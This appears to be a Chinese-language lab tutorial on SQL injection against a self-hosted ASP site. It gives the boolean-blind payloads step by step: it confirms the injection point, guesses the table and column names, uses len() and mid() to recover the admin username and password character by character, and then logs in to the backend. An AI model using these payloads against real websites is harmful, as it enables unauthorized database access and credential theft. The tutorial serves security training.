SQL 注入攻击实验
实验环境
角色 | 操作系统 | IP地址 | 需要工具 |
---|---|---|---|
攻击机 | windows server 2008 | 192.168.69.77 | 无 |
靶机 | windows server 2008 | 192.168.69.62 | SQL 注入源码 |
准备工作
攻击机准备工作
步骤 1:关闭浏览器的
友好 HTTP 错误信息
,以便根据报错信息判断注入结果,如图 1-1 所示
图 1-1 靶机准备工作
步骤 1:安装 IIS ,发布靶机网站
攻击流程
在攻击机上登录靶机网站,寻找 SQL 注入点
步骤 1:寻找可能存在注入点的链接,发现链接
http://192.168.69.62/ArticalRead.asp?id=750
,格式符合 SQL 注入点的特征,如图 1-2 所示
图 1-2 步骤 2:在 URL 后加入敏感参数确认 SQL 注入点是否存在。加入
and 1=1
发现有数据返回,说明该网站存在 SQL 注入点
图 1-3 开始猜解网站后台管理员表名
步骤 1:在 URL 后加入
and (select count(*) from users)>0)
的查询语言,返回报错页面,说明猜解表名为users
错误,如图 1-4 所示
图 1-4 步骤 1:在 URL 后加入
and (select count(*) from admin)>0
的查询语言,有数据返回,说明猜解表名为admin
正确,如图 1-5 所示
图 1-5 开始猜解管理员表的用户字段名和密码字段名
步骤 1:在 URL 后加入
and (select count(user_id) from admin)>0
的查询语言,有数据返回,说明猜解用户字段名为user_id
正确,如图 1-6 所示
图 1-6 步骤 2:在 URL 后加入
and (select count(user_pwd) from admin)>0
的查询语言,有数据返回,说明猜解密码字段名为user_pwd
正确,如图 1-7 所示
图 1-7 开始猜解管理员表的用户字段长度和密码字段长度
步骤 1:在 URL 后加入
and (select count(*) from admin where len(user_id)>1)=1
的查询语言,有数据返回,说明用户名字段长度不只 1 位,需要继续猜解,如图 1-8 所示
图 1-8 步骤 2:直到在 URL 后加入
and (select count(*) from admin where len(user_id)>5)=1
的查询语言,直接跳转到网站首页,说明用户名字段长度就是 5 位,如图 1-9 所示
图 1-9 步骤 3:密码字段长度猜解方法和用户名一致,这里步骤省略
开始猜解用户名和密码内容
步骤 1:在 URL 后加入
and (select count(*) from admin where mid(user_id,1,1)='a')=1
的查询语言,有数据返回,说明用户名的第一个字符是a
,如图 1-10 所示
图 1-10 步骤 2:直到在 URL 后加入
and (select count(*) from admin where mid(user_id,2,1)='d')=1
的查询语言,有数据返回,说明用户名的第二个字符是d
,如图 1-11 所示
图 1-11 步骤 3:依照此方法继续猜解用户名内容的后面三个字符,分别是
m
,i
,n
,最终获知用户名为admin
,此处步骤省略步骤 4:依照此方法猜解密码内容,最终获知密码为
admin123
使用猜解出的密码登录后台,可以成功登录,如图 1-12 所示
图 1-12